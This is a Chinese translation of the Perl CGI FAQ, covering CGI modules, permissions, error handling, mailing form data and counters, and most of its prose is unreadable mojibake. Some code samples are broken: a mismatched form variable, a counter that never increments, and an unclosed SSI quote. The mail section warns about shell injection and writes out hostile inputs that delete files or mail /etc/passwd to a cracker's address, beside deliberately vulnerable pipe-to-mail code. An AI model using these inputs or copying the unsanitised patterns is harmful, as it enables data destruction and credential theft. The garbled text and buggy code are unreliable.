³o§¹¥þ¨ú¨M©ó±z­n°µªº¬O¤°»ò¡CCGI modules ¸û¾A¦X­«¶q¯Åªº CGI scripts ¡C¦p ªG¬O²³æªº scripts ªº¸Ü¡A¦Û¤v°µ©ÎªÌ¬O¥Î CGI Lite ³o­Ó¼Ò²Õ·|²«K³\¦h¡C¦p ªG±z¯uªºÄ@·N¡A±z¬Æ¦Ü¥i¥H¥Îªº Perl4 cgi-lib.pl ³o­Ó library*¡C

¡i͵ù¡j §@ªÌ Tom C. ¤§©Ò¥H³o»ò»¡¬O¦]¬°¥L°ò¥»¤W¤£ÃÙ¦¨¨Ï¥Îcgi-lib.pl ¡A¦³ ¿³½ìªºÅªªÌ¥i¥H¬Ý¥L¼gªº Why I am not fond of cgi-lib.pl ¡]¬°¤°»ò§Ú¤£ªY½à cgi-lib.pl ¡^¡C


Q2.2: ¦p¦óª¾¹D¬Y­Ó module ¸Ó«ç»ò­Ó¥Îªk¡H

¤j¦h¼Æ modules ªº¨Ï¥Î»¡©ú¬Oª½±µ´O¦b µ{¦¡¸Ìªº*¡C ¦pªG¬O³o¼Ëªº¸Ü¡A±z¥i¥H¥Î pod2man ³o­Ó script ¨Ó¾\Ū¨Ï¥Î«ü«n¡G

% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more

¡i͵ù¡j¦pªG±z¦b *.pm Àɤ¤¬Ý¨ì ``=head1''¡B``=cut'' ³oÃþªºªF¦è«K¬OÅã¥Ü¨Ï ¥Î»¡©ú¦³ªþ¦b¸ÌÀY¡C³o¬O Larry Wall ³]­pªº POD (Plain Old Document) ®æ¦¡¡C ¸Ô¨£ perlpod manpages¡C


Q2.3: ¦³­þ¨Ç Perl4 ªº CGI ©Î WWWªº libraries ¡H

³Ì¼s¬°¨Ï¥Îªº Perl4 CGI library ¬O Steve Brenner ªº cgi-lib.pl¡C


Q2.4: ¦³­þ¨Çµ¹ Perl5 ¨Ï¥Îªº CGI modules¡H§Ú¸Ó¥Î­þ­Ó¡H¬°¤°»ò¡H

CGI.pm*
³o­Ó«Ü´Îªº module ¦b¥\¯à¤W©M³¡¤À CGI::* modules ¬Û­«Å|¡C¦pªG±z¤£·Q©M¦h­« modules ¥´¥æ¹Dªº¸Ü¡A±z¥i¥H¥u¥Î³o¤@­Ó¡C§Ú­Ìµ¥¤@¤U¦b«áÀY·|µ¹±z¬Ý¤@­Ó¥Î CGI.pm ¨Ó´À CGI scripts °£¿ùªº¹ê¨Ò¡C

¦¹¥~¡ALincoln ¡]Lincoln Stein¡FCGI.pm ªº§@ªÌ¡^ÁÙ¼g¤F¤@¥»°Q½× Web ©M CGI «D±`¦nªº®Ñ¡A¥s How To Set Up and Maintain a World Wide Web Site¡C

¡iĶªÌ¡j «ØÄ³ÅªªÌ¦h¨Ï¥Î CGI.pm ¡CCGI::* ¤w¸g¦³«Üªø¤@¬q®É¶¡¨S¦³§ó·s¤F¡A¦Ó CGI.pm «h¤£Â_ªº¦³§ï¨}ªº·sª©±À¥X¡A¨Ã¤w¥[¤J¹ï FastCGI ªº¤ä´©¡A¦]¦¹¹ï FastCGI ªº¨Ï¥Î ªÌ¤]¬Û·í¤è«K¡C¦¹¥~¡Amod_perl ¡]Apache ªº perl module¡^¤¤©Òªþªº CGI::XA¡A¤]¬O¥Ñ CGI.pm §ï¶i¦Ó¨Óªº¡C CGI.pm Åý¨Ï¥ÎªÌ§K°£¦Û¤v°µ§C¶¥¸ê®Æ³B²z ¡]¦p¦L HTTP ¼ÐÀY¡B´À form, cookies ¸ê®Æ¸Ñ½Xµ¥¡^ªº³Â·Ð¡C

CGI::* ¼Ò²Õ®M¥ó
³o¨Ç¼Ò²Õ­ì¥ý¤j¦h¬O¥Ñ Tim Bunce ©Ò¼g¡A²{¦b«h¥Ñ Lincoln Stein ¨Ó­t³d ºûÅ@¡C¥¦­Ìªº¥\¯à¥]¬A¤FÀ°±z²£¥Í¤Î³B²z form ¡A´À CGI µ{¦¡°£¿ù¡A¥H¤Î¦b¤£¦Pªº forms ¤§¶¡ºûô¤@­Óª¬ºA­È¡C

CGI Lite
³o­Ó»´¶q¯Åªº module ¬O CGI::* modules ¤§¥~ªº¥t¤@­Ó¿ï¾Ü¡C¥¦¥iºâ¬O¦b¦Ñªº cgi-lib.pl ¤§¤W§ï¨}¡B¥[®Æ«áªº²£ª«¡C

¥H¤W¤TªÌ§¡¦³¯à¤O³B²z multipart form ¸ê®Æ¡]§Y¤W¶Ç¡^¡C


Q2.5: ¬°¤°»ò³o»ò¦h perl CGI libraries ³£¬O object-oriented ¡]ª«¥ó¾É¦V¡^ªº¡H§Ú¹ï¥Îª«¥ó¾É¦V¨Ó¼gµ{¦¡¤@¬¤£³q¡CÃø¹D´N¨S¦³Â²³æ¤@ÂI¡Aµ¹¤£·|ª«¥ó¾É¦Vªº¤H¨Ï¥Îªº libraries ¶Ü¡Hª«¥ó¾É¦V¦³¦hÃø¡H

¨ä¹ê¨Ï¥Îª«¥ó¾É¦Vªº modules ¨Ã¤£Ãø¡C¥ý¥h¬Ý¬Ý Tom Christiansen ªº Easy Intro to Using Perl Objects ¡]²³æ¤¶²Ð¦p¦ó¨Ï¥Î Perl ª«¥ó¡^§a¡C

«eÀY´£¨ìªº CGI modules ¥Î°_¨Ó¯uªº¬O«Ü®e©ö¡I³o¸Ì¦³¤@­Ó¥Î CGI Lite ¦L¥X form ¸ê®Æªº¹ê¨Ò*¡G

¡iĶªÌ¡jCGI.pm ªº¨Ï¥Î»¡©ú¤¤¦³§ó¦h½d¨Ò¥i¨Ñ°Ñ¦Ò¡C

#!/usr/local/bin/perl -w

use CGI_Lite;

$cgi = new CGI_Lite;
%data = $cgi->parse_form_data;

print "Content-type: text/plain", "\n\n";

foreach $key (keys %data) {
    print $key, " = ", $data{$key}, "\n";
}

exit 0;
­nª`·Nªº¬O¡A§Y¨Ï±z¾÷¾¹¤Wªº Perl ¤£¬O±z¸Ëªº¡]±z¤£¬O¨t²ÎºÞ²zªÌ¡^¡A©Î¬O±zÅv­­¤£ °÷µLªk±N³o¨Ç modules ©M¨ä¥Lªº Perl library Àɮצw¸Ë¦b¦P¤@­Ó¦a¤è¡A±zÁÙ ¬O¥i¥H¨Ï¥Î³o¨Ç modules ªº -- ¥u­n±N¥¦­ÌÂ\¦b¤@­Ó¦Û¤v¤è«Kªº¦a¤è¡AµM«á¦b ±zªº script ¶}©l³B¥[¤W*¡G
BEGIN {
    unshift @INC, "/your/dir/favorite/place";
}
¡iĶªÌ¡j«ØÄ³§ï¥Î¸û·sªº¤è¦¡¡G
use lib qw(/your/dir/favorite/place);
¦n¡C¥H¤U¬O¤@­Ó¥Î¨ì CGI::* modules ªº¨Ò¤l¡G
#!/usr/local/bin/perl -w

use CGI::Form;

$cgi_form = new CGI::Form;

print <<'End_of_Header';
    <HTML>
    <HEAD><TITLE>¬ÝµÛ§Ú°µ¡I</TITLE></HEAD>
    <BODY>
    <H1>¬ÝµÛ§Ú°µ¡I</H1>
End_of_Header

print $form->startform;

## ²£¥Í¤@­Ó³æ¦æ¿é¤JÄæ¦ì (text field)

print '©m¦W¡G ';
print $form->textfield('name'), "<BR>\n";

## ²£¥Í¤@²Õ³æ¿ï«ö¯Ã (radio buttons)

print '<P>±z¦í­þ¨à¡G <BR>';
print $form->radio_group(-name      => 'where',
                         -values    => ['¥_¬ü¬w',
                                        '«n¬ü¬w',
                                        '¼Ú¬w',
                                        '¿D¬w',
                                        '¨È¬w',
                                        '«n·¥¬w'],
                         -default   => '¥_¬ü¬w',
                         -linebreak => 'true');

## ²£¥Í¤@­Ó¦h¦æ¿é¤JÄæ¦ì (textarea)

print '·N¨£¡G ';
print $form->textarea('comments', undef, 5, 40);

print "<P>";
print $form->reset;
print $form->defaults;
print $form->submit('°e¥X¡I', 'Submit');
print $form->endform;

print "</BODY></HTML>";

reset¡Bdefaults¡A¤Îsubmit¤TºØ¤èªk( methods ) ·|²£ ¥Í¤£¦PªºÃþ«¬ªº«ö¶s¡Creset ³o­Ó«ö¶sÅý±z§â¥Ø«e form Äæ¦ì¤¤©Ò¶ñªº¸ê®Æ¬~±¼¡A ¨ÃÅã¥ÜÄÝ©ó¤W¤@­Óª¬ºA¡]©Î¦^¦X¡^ªº¸ê®Æ¡C defaults ³o­Ó«ö¶s«h¬O±Nform Äæ¦ì ¸ê®Æ¹ý©³¬~¥h¡CÁÙ¦³ submit ³o­Ó¤èªk²£¥Í¤@­Ó°e¥X¶s¥H«KÅý¤H±N¸ê®Æ°e¦Ü server ³B¡C

±z¬Ý¡A¤£¬O«Ü®e©ö¶Ü¡H

3.0 - CGI »P WWW Server


Q3.1: §Úªº Perl CGI µ{¦¡­n©ñ¦b­þ¸Ì°õ¦æ¡Hcgi-bin ³o­Ó¥Ø¿ý¬O°µ¬Æ»ò¥Îªº¡H

server ³q±`¬O³]©w¦¨¥h°õ¦æ©ñ¦b ``cgi-bin'' ¥Ø¿ý©³¤Uªº CGI µ{¦¡¡C¤£¹L¡A server ºÞ²zªÌ¦P®É¤]¥i¥H¦b³]©wÀɤ¤³]©w aliases¡AÅý©Ò¦³§t¬Y¨Ç°ÆÀɦW¡]¦p .cgi¡B.pl¡^ªº scripts ³£¯à°õ¦æ*¡C

¡iĶªÌ¡j³]©w CGI aliases ©M°ÆÀɦW©TµM«Ü¤è«K¡A¦ý server ºÞ²zªÌ¶·ª`·N¨ì¬Û Ãöªº¦w¥þ°ÝÃD¡C


Q3.2: ¤°»ò¬OÀɮרϥÎÅv­­¡H«ç¼Ë§ï¡H

ÀÉ®×Åv­­¬O®Ú¾Ú¨Ï¥ÎªÌÃѧO¥N¸¹¡]¤SºÙ uid¡^¡A¥H¤Î¥L­Ì©ÒÄݪº¹ÎÅé¨Ó¨M©w¬O§_½á »P¨Ï¥ÎªÌŪ¡B¼g¡A©M°õ¦æ¬YÀɮתºÅv§Q¡C±z¥i¨Ï¥Î chmod ³o­Ó«ü¥O¥h­×§ïÀɮתº ¨Ï¥ÎÅv­­¡C¨Ò¦p¡G

% ls -ls form.cgi

  1 -rwx------  1 shishir       974 Oct 31 22:15 form.cgi*

¦¹¤@ÀɮתºÅv­­¬° 0700¡]¤K¶i¨î¡^¡A·N¨ýµÛ¨S¦³¤H¡]ÀɮשҦ³¤H°£¥~¡^¯à°÷Ū¨ú¡B ¼g¶i¡A©Î°õ¦æ³o­ÓÀɮסC§Ú­Ì¥i¥H¥Î chmod ³o­Ó«ü¥O¥h­×§ï¥¦ªºÅv ­­¡G

% chmod 755 form.cgi
% ls -ls form.cgi

  1 -rwxr-xr-x  1 shishir       974 Oct 31 22:15 form.cgi*
³o¼Ë¤@¨Ó¡AÅv­­´NÅܤF¡C²{¦b©M ``shishir'' ¦b¦P¤@­Ó¹ÎÅ骺¨Ï¥ÎªÌ¡AÁÙ¦³¨ä¥L ¥ô¦óªº¨Ï¥ÎªÌ³£¦³Åv§Q¥hŪ¨ú©M°õ¦æ³o­ÓÀɮפF¡C

¦p±ýª¾ chmod «ü¥O¦U¤K¶i¨î¼Æ½X©Ò¥Nªíªº§t·N¡A½Ð°Ñ¾\ chmod manpagesªº»¡©ú¡C


Q3.3: Perl À³¸Ó¦w¸Ë¦b­þ¸Ì¤~¥i¥H°õ¦æ¥¦¡H

Perl ¥i¥H¦w¸Ë¦b¨t²Î¤W¥ô¦ó¤@­Ó¨¤¸¨¡I±z°ß¤@­nª`·Nªº¬O server ¤£¯à¦bchroot ªºÀô¹Ò¤U¶]¡A§_«h¥¦«KµLªk¶] perl ¸Ñ;¹¡C´«¨¥¤§¡A¨t²ÎºÞ²zªÌ¥i¥H§â®Ú¥Ø¿ý §ïÅÜ¡AÅý ``/'' «ü¨ì¥t¤@­Ó¥Ø¿ý¡A¦Ó¤£¬O¹ê»Ú¯u¥¿ªº®Ú¥Ø¿ý(``/'')¡C


Q3.4: §Ú¬°¤°»ò¤@ª½±o¨ì ``Server: Error 500'' ªº°T®§¡H

¥H¤U´XºØ±¡§Î·|IJµo³o­Ó¿ù»~°T®§¡G


Q3.5: §Ú¸ÕµÛ¥´¶}¤@­ÓÀɮסA·Q§â¸ê®ÆÀx¦s¦b¸ÌÀY¡A¦ý¬O open() ªº«ü¥O¥¢±Ñ¤F¡C¨ì©³¬O«ç»ò·dªº¡H

¤@¯ë»¡¨Ó¡AHTTP server ¬O¥H ``nobody''¡B``www''¡A©Î¨ä¥L³oÃþÅv­­§Cªº¨Ï¥Î ªÌªº¨­¥÷¨Ó¶]ªº¡C¦]¬°³o­Ó½t¬G¡A±z¥´ºâ¦b¨ä¤¤»s³y·sÀɮתº¥Ø¿ý¡A¹ï server ¶]ªº ¨Ï¥ÎªÌ ID ¥²¶·­n¬O¥i¼g(writable)¤~¦æ¡C

¬°¤F½T©w°_¨£¡A±z¨C¦¸³£À³¸Ó¥ýÀˬd open ³o­Ó«ü¥O°e¦^ªºµ²§ôª¬ºA(return status)¡A¬Ý¬Ý open ¦³¨S¦³¦¨¥\¡C

open(FILE, "/abc/data.txt")
    || error("Could not open file /abc/data.txt");

	.
	.	
	.

sub error {
    my($message) = @_;
	
    print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error

<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>

End_of_Error
}

4.0 ¡Ð µ{¦¡³]­pºÃÃøÂø¯g


Q4.1: §Ú·QÅý user ¶ñªº form ¸ê®Æ¦Û°Ê±Hµ¹§Ú¡A¸Ó«ç»ò°µ¡H¦³¨S¦³½d¨Ò¡H

¨ä¹ê°µ³o­Ó«Ü®e©ö¡C±zªº CGI script ¥²¶·¯à°µ¨ì³o¨â¥ó¨Æ¡G

  1. ±N form ¤¤ªº¸ê®Æ¾ã²z¥X¨Ó¡C§O§Ñ¤F¡A©Ò¦³ªº form ¸ê®Æ³£·|³Q URL-½s½X°_¨Ó ¡]¥ý¤£¦Ò¼{ Netscape 2.0 ¡i¤Î 2.0 ¥H¤W©Ò¤ä´©¡jªº multipart MIME¸ê®Æ¡^¡C
  2. ¶}¤@­ÓºÞ¸ô (pipe) ¨ì mail ¡]©Î sendmail ¡^¡AµM«á§â form ¸ê®Æ¼g¹L¥h¡C

    §Ú­Ì´N°²³]±z¥Îªº¬O CGI::* ¼Ò²Õ¡C±z¥i¥Î¥H¤Uªº¤èªk¥h¥s sendmail¡G

    $cgi_form = new CGI::Form;
    
    $from     = $cgi_form->param('from');
    $name     = $cgi_form->param('name');
    $to       = $cgi_form->param('to');
    $subject  = $cgi_form->param('subject');
    $message  = $cgi_form->param('message');
    
    open SENDMAIL, "| /usr/bin/sendmail -t -n";
    print SENDMAIL <<End_of_Mail;
    From: $from <$name>
    To: $to
    Reply-To: $from
    Subject: $subject
    
    $message
    End_of_Mail
    
    ¦³¤@­Ó¸Óª`·Nªº¦a¤è¬O ``Reply-To:'' ªº«HÀY¡C¥Ñ©ó server ¬O¥H ``nobody''³o ­Ó¨Ï¥ÎªÌªº¨­¥÷¨Ó¶]¡A«HÀYªº¦a¤è¥i¯à·|³Q·dÃa¡]¤×¨ä¬O·í¦³¤H·Q¦^³o«Ê«Hªº®É«á¡^¡C ¥[¤W ``Reply-To'' ªº«HÀY³o­Ó°ÝÃD«K¸Ñ¨M¤F¡C

    ºô¸ô¤W¦³³\¦hªº mail ´ë¹D (gateway)* ¬O¥H©³¤U³oºØ¤èªk¨Ó°e mail¡G

    ¡iĶªÌ¡jgateway ¦b¦¹«ü°e email ªº CGI µ{¦¡
    open MAIL, "| mail -s 'Subject' $to";
    
                                      ^
                                      |
                                      +-- ¥i¯à·|¥X°ÝÃDªºº|¬}¡I¡I¡I
    
    ¦pªG±z¨S¦³¥ýÀˬd¬Ý $to ³o­ÓÅܼƦ³¨S¦³¤º§t shell ªº¯S®í²Å¸¹ (metacharacters)¡A±z¬O¦b¦Û°Q­W¦Y¡IÄ´¦p¡A¦pªG­þ­Ó´c¦Hªº user ¿é¤J¤F¥H¤Uªº¸ê ®Æ¡G
    ; rm -fr / ;
    ¨º»ò±zªº³Â·Ð¥i¤j¤F*¡C
    ¡iĶªÌ¡j³o¸ÌÀYªº ``;'' «K¬O¤@­Ó¦MÀIªº shell metacharacter¡C¥t¤@­Ó¦MÀIªº²Å¸¹¬O ``&''¡C

    ¦b³o­Ó°²·Qªº±¡ªp¤¤¡A¦³¦h¤Ö­ÓÀÉ®×·|³Q»·¤èªº user µ¹±þ±¼¡AÁÙ±oµø server ¶]ªº¨Ï¥ÎªÌªºÅv­­¦Ó©w¡]³o´N¬O¬°¤°»ò server ­n¥H§CÅv­­¨Ï¥ÎªÌ¨­¥÷¶]ªº­ì¦]¡^¡C ¦Ü¤Ö¨º¨Ç¥Ñ CGI µ{¦¡»s³y¥X¨Ó¡A¦ý¤S¨S¦³³Æ¥÷ªºÀɮסA¬O¯uªº­n¸ò¥¦­Ì¥Ã§O¤F¡C

    ; mail joe@crackerland.org </etc/passwd
    
    ¨º±zªº CGI script ´N´À±z§â /etc/passwd µ¹«ý¤â°e¤W¤F¡C³o¹ï¤@­Ó¡u¥¼¥[¤u¡vªº Linux¡BSunOS 4.1¡AÁÙ¦³¨ä¥L¥ô¦ó¨S¦w¸Ë shadow-password ªº UNIX ¨t²Î¨Ó»¡¡A ¹ê¦b¤£¤Ó¦nª±¡C¦pªG server ¿ù»~¦a¶]¤F root¡A¨º»ò´Nºâ¸Ë¤F shadow-password ¤]¨S¦³¥Î¡A¦]¬°»·¤èªº cracker ¬Æ¦Ü¥i¥HÅý³o­Ó CGI ªº email script µ¹¥L°e /etc/shadow ¡]µø¨t²Î¦Ó©w¡A¤£¤@©w¦b /etc ©³¤U©Î¥s³o­Ó¦W¦r¡^¡C


    Q4.2: ­è¤~³o­Ó¥Î form °e«Hªº script ¬Ý°_¨Ó¦³ÂIÃø¡C¬°¤°»ò¤£°®¯Ü¥Î ``mailto: URL''¡A³o¼Ë user ¶ñ¤Jªº¸ê®Æ´N¥i¥H±Hµ¹§Ú¤F¡H

    «Ü¤£©¯¦a¡Amailto: ªº«ü¥O¨Ã¤£¬O©Ò¦³ªºÂsÄý¾¹³£¤ä´©¡C¦pªG±z¦bÀɮפ¤¥Î¤F¥¦ªº¸Ü¡A ·|­­¨î¤F¨º¨Ç¨Ï¥Î¨S¦³¤ä´© mailto: ªºÂsÄý¾¹ªº¤H¡AÅý¥L­ÌµLªk°e mail µ¹±z*¡C

    ¡iĶªÌ¡j¾¨ºÞ¦p¦¹¡A±z©Î³\¤£·|¦b¥G¨º¦û·¥¤Ö¼Æ¤ñ¨Òªº¨Ï¥ÎªÌ¡]Netscape ¡B IE¡A ©M lynx µ¥ÂsÄý¾¹³£¤ä´© mailto: ¡^¡C


    Q4.3: §Ú­n¦p¦ó¦b UNIX ¥H¥~ªº¥­¥x¤W°µ Perl-CGI¡AÄ´¦p Mac¡BMS-DOS¡B Windows ¤Î NT¡H§Úªº Perl CGI µ{¦¡¯à¤£¯à¦b³o¨Ç¥­¥x¤§¶¡¤¬¬Û²¾´Ó©O¡H¯à¤£¯à «Üª½±µ¡A¨S¦³³Â·Ð¡H§Ú¦b UNIX ¥D¾÷¤W¦³±b¸¹¡A¦ý¬O³£¬O¥ý¦b Windows/Mac ¤W°µ¡C §Ú­n¦p¦ó¦b§Ú¦Û¤vªº¾÷¾¹¤W´ú¸Õ¼g¦nªº CGI scripts*¡H

    Perl ¤w¸g³Q²¾´Ó¨ì¤W­z©Ò¦³ªº¥­¥x¤W¤F¡C¦]¦¹¡A±zªº Perl CGI µ{¦¡·Ó²zÀ³¤£Ãø ²¾´Ó¡C¦ý¦pªG±z¨Ï¥Î¨ì¤@¨Ç UNIX ¤Wªºµ{¦¡¡A¨º»ò±zªºµ{¦¡¥i¯à·|¤£¦n²¾´Ó¡C¦pªG ±z¥u¬O°µ¸ê®Æ³B²z¡A©Î¶}±Ò¡BŪ¶iÀÉ®×µ¥ªº¸Ü¡A¨º»ò²¾´ÓÀ³¸Ó¤£·|¦³°ÝÃD¡C

    ¡iĶªÌ¡j­ì FAQ ¨Ã¥¼¦^µª³Ì«á³o­Ó°ÝÃD¡C­n¦b Windows/OS2/Mac µ¥«D UNIX ¥­¥x ¤W´ú¦¡±zªº scripts ¡A±z¥i¥H¨Ï¥Î CGI.pm ¡]¤ä´©¥H¤W©Ò¦³¥­¥x¡^¡A°t¦X Q4.19 ¤¤´£¥Üªº°£¿ù§Þ¥© ¡A©Î¦b¦Û¤vªº¾÷¾¹¤W¦w¸Ë HTTP server ³nÅé¡C¦p¦¹´N¤£¥Î¨¯­Wªº³s¤W¥D¾÷¥h´ú¦¡¤F¡C


    Q4.4: ¦b Perl CGI µ{¦¡¤¤¡ASTDERR ¡]¼Ð·Ç¿ù»~°T®§)¡BSTDIN (¼Ð·Ç¿é¤J¡^¡A©M STDOUT ¡]¼Ð·Ç¿é¥X¡^ ¦U¬O³s¨ì¦ó³B¡H

    ¦b CGI Àô¹Ò¤U¡ASTDERR ·|«ü¦V server ªº ¿ù»~°T®§ÀÉ (error log)¡C±z¥i¥Hµ½ ¥[§Q¥Î³o­Ó¯S©Ê¡A§â°£¿ùªº°T®§¼g¨ì STDERR¡AµM«á±z«K¥iÂǬd¬Ý¿ù»~°T®§ÀɨÓÀ° ±z°£¿ù¡C

    STDIN ©M STDOUT «h³£©MÂsÄý¾¹¬Û³s¡C¹ê»Ú¤W¡ASTDIN ³sªº¬O server¡C server ·|¥ý¸ÑŪ client ¡]©ÎÂsÄý¾¹¡^°e¥Xªº½Ð¨D©M¸ê®Æ¡A¦A±N¨ä°eµ¹ script¡C

    ±z¤]¥i¥H¥Î±N STDERR ¡u½Æ»s¡v¨ì STDOUT ªº¤èªk¨Ó§ì¿ù»~°T®§¡C³oÀ³¸Ó¦b script ¾a«eÀYªº¦a¤è°µ¡]¦ýÀ³¦b±z¿é¥X¦X¾Aªº HTTP ¼ÐÀY¤§«á¡^¡G

    open STDERR, ">&STDOUT";
    
    ³o·|±N©Ò¦³ªº¿ù»~°T®§³£Âà°e¨ì STDOUT ¡]§YÂsÄý¾¹¡^ ¥h¡C


    Q4.5: ¦p¦ó¼g­p¼Æ¾¹¡H

    ­p¼Æ¾¹¤@Ãþªºµ{¦¡¬Û·í¬y¦æ¡C¨ä¹ê­p¼Æ¾¹ªº­ì²z«Ü²³æ¡A¤£¹L¬O¡G

    ¥H¤U¬O¤@­Ó²³æªº­p¼Æ¾¹ªº¹ê¨Ò¡G

    #!/usr/local/bin/perl -w
    
    $counter = "/home/shishir/counter.dat";
    print "Content-type: text/plain", "\n\n";
    
    open(FILE, $counter) || die "Cannot read from the counter file.\n";
    flock FILE, 2;
    $visitors = <FILE>;
    flock FILE, 8;
    close FILE;
    
    open(FILE, ">$counter") || die "Cannot write to counter file.\n";
    flock FILE, 2;
    print FILE $visitors;
    flock FILE, 8;
    close FILE;
    
    ²{¦b±z¥i¥H¦b HTML Àɮפ¤¥Î SSI (Server Side Include; ¦øªAºÝ´¡¤J)* ªº¤è¦¡¨ÓÅã¥Ü¸Ó­p¼Æ¾¹¡G
    ¡iĶªÌ¡jSSI ¬O server ©Ò´£¨Ñªº¤@¶µ¥\¯à¡A¥i±N°ÊºA¸ê®Æ¡A¨Ò¦p¤é´Á©M®É¶¡¡A©Î ­p¼Æ¾¹Åã¥Üµ¥¡A¦b«È¤á½Ð¨D¤@ºô­¶®É§Y®É¥[¤J¸Ó¤å¥ó¤¤¡C¤ä´© SSI ªº servers ¥] ¬A¤F NCSA¡BApache¡A©MNetscape Enterprise Server µ¥¡C SSI ©TµM¬O¤@¶µ«K§Qªº³]­p¡A¦ý¦p¹L¥÷ÀݥΠ¡A¤£¦ý·|´î§C server ©Ê¯à¡A§ó¥i¯à©Û¨Ó¦w¥þ¤Wªº¦M¾÷¡C
    ±z¬O²Ä
    <!--#exec cgi="/cgi-bin/counter.pl-->
    ¦ì¥úÁ{¥»¯¸ªº«È¤H¡C
    


    Q4.6: ­n¦p¦ó¥Î¤@­Ó Perl ªº¨ú¥N«ü¥O±N©Ò¦³ HTML ¼ÐÅÒ±q¤@¥÷¤å¥ó¤¤§R°£¡H

    ¥H¤U³o­Ó²³æªº regular expression ¥i¥Î¨Ó¥h°£ HTML ¼ÐÅÒ*¡G

    ¡iĶªÌ¡j
    1. ­nÅý³o­Ó regular expression ¸ó¦æ°õ¦æ¡A±z¥²¶·¥ý±N±zªº script ¥Ñ¹w³]ªº «ö¦æ°õ¦æ¼Ò¦¡ (line mode) §ï¬°«ö¬q°õ¦æ¼Ò¦¡ (paragraph mode)¡C±z¥i¥H¦b«ü¥O ¦C¥H¡G
      perl -00 -we '...'
      
      ªº¤è¦¡¡F©Î¬O¦b script ¤¤¥H¡G
      #!/usr/bin/perl -00
      
      ©Î
      $/ = "";
      
      ªº¤è¦¡¨Ó³]©w«ö¬q°õ¦æ¼Ò¦¡¡C
    2. °£«D±z»Ý­n¹ï±ý§R°£ªº HTML ¼ÐÅÒ¤¤ªº¤º®e°µ¶i¤@¨Bªº³B²z©Î§Q¥Î¡A§_«h¥»¨Ò ¤¤³Ì¥~³òªº¤@¹ï¬A©·¥i¥h±¼¡C
    $line =~ s/<(([^ >]|\n)*)>//g;
    

    ¸Ô²Óªº¬ÛÃö¸ê®Æ¡A½Ð¬Ý Tom [Christiansen] ªº striphtml µ{¦¡¡A ³o­Óµ{¦¡¦P®É¤]¦¬¿ý¦b¥Lªºtour of perl5 regexps Á¿¸q¤¤¡C


    Q4.7: ­n¦p¦óª¾¹D¬O½Ö¡þ­þ¥x¾÷¾¹¡þ­þ­ÓÂsÄý¾¹°õ¦æ¤F§Úªºµ{¦¡¡H

    ±z¥i¥H±q HTTP_USER_AGENT ³o­ÓÀô¹ÒÅܼƱoª¾¨Ï¥ÎªÌ©Ò¥ÎªºÂsÄý¾¹¡C

    ¡iºK¦Û WWW FAQ¡j

    ±zªº CGI script ¥i¥H§Q¥Î¤­­Ó­«­nªºÀô¹ÒÅܼƨÓÀ°¦£¿ëÃѨϥΪ̪º¨­¥÷¡C

    ¡iºK¿ý¦Û WWW FAQ ³¡¥÷§¹¡j


    Q4.8: ¤H®a¬Ý±o¨ì§Úªº Perl CGI µ{¦¡¶Ü¡H¦pªG¬O³o¼Ëªº¸Ü¡A¨º¤£´NÅý¥L­Ìª¾¹D§Úªºµ{¦¡¬O«ç»ò¹B§@ªº¤F¡C³o¬O­Ó¦w¥þº|¬}¶Ü¡H§Ú­n«ç»ò§â¥¦ÁôÂð_¨Ó¡H

    ¦pªG±z±N±zªº server ³]¦¨¹ï©Ò¦³¦b¤@­Ó¯S©w¥Ø¿ý¡]¦p cgi-bin¡^¤UªºÀɮסA©ÎªÌ ¬O¨ã¦³¬Y¨Ç°ÆÀɦW¡]¦p ``.pl''¡B``.tcl''¡B``.sh''¡^ªºÀɮפ@«ß³£¥H CGI µ{¦¡¬Ý «Ý¡A¨º»ò server ¥u·|°õ¦æ³o¨Çµ{¦¡¡C¦Ü©ó¨Ï¥ÎªÌ¬OµLªk¬Ý¨ì script ¥»¨­ªº¤º®e ªº¡C

    ¦ý¬O¦pªG±z¤¹³\¤H­Ì¬Ý±zªº script (Ä´¦p§â¥¦©ñ¨ì HTML ¤å¥óªº®Ú¥Ø¿ý ¤U)¡A¨º»ò¥u­n¬O³o­Óµ{¦¡¨S¦³¦w¥þ¤Wªºº|¬}¡A³o¨Ã¤£¯àºâ¬O¦w¥þ°ÝÃD¡C¦p ªG³o­Óµ{¦¡¯uªº¦³¦w¥þ¤Wªº¯}ºì¦Ó±z¤S¤¹³\¨Ï¥ÎªÌ¬Ý³o­Óµ{¦¡¡A¨º»ò¥L­Ì«K¦³¾÷¥i ­¼¡A¶i¦Ó§Q¥Î³o­Ó®zÂI¡C

    ¡iĶªÌ¡j¤W­±³o¬q­ì¤å§@ªÌ¬O´N»·¤èªº«È¤áºÝªº¨Ï¥ÎªÌ¦Ó¨¥¡C©M³o­Ó¥DÃD¬ÛÃöªº¤@ ­Ó±`°Ý°ÝÃD¬O¡G

    Q: §Úªº Perl CGI scripts ¥²¶·±NÅv­­³]¬°¥þ¥@¬É¥iŪ¡C¥i¬O³o¼Ë¤@¨Ó¡A©M§Ú¦P ¾÷¾¹¦³±b¤áªº¤H¡A¥u­nª¾¹D§Úªºµ{¦¡¦WºÙ¡A´N¥i¥HÂsÄý§Úªº Perl µ{¦¡ªº¤º®e¡F¤× ¨ä·í¨ä¤¤²o¯A¨ì±K½Xªº°ÝÃD®É¡C

    A: ¦Ü¤Ö¦³¨â­Ó¸Ñ¨M¤èªk¡A¤@­Ó²³æ¡A¤@­Ó½ÆÂø¡G

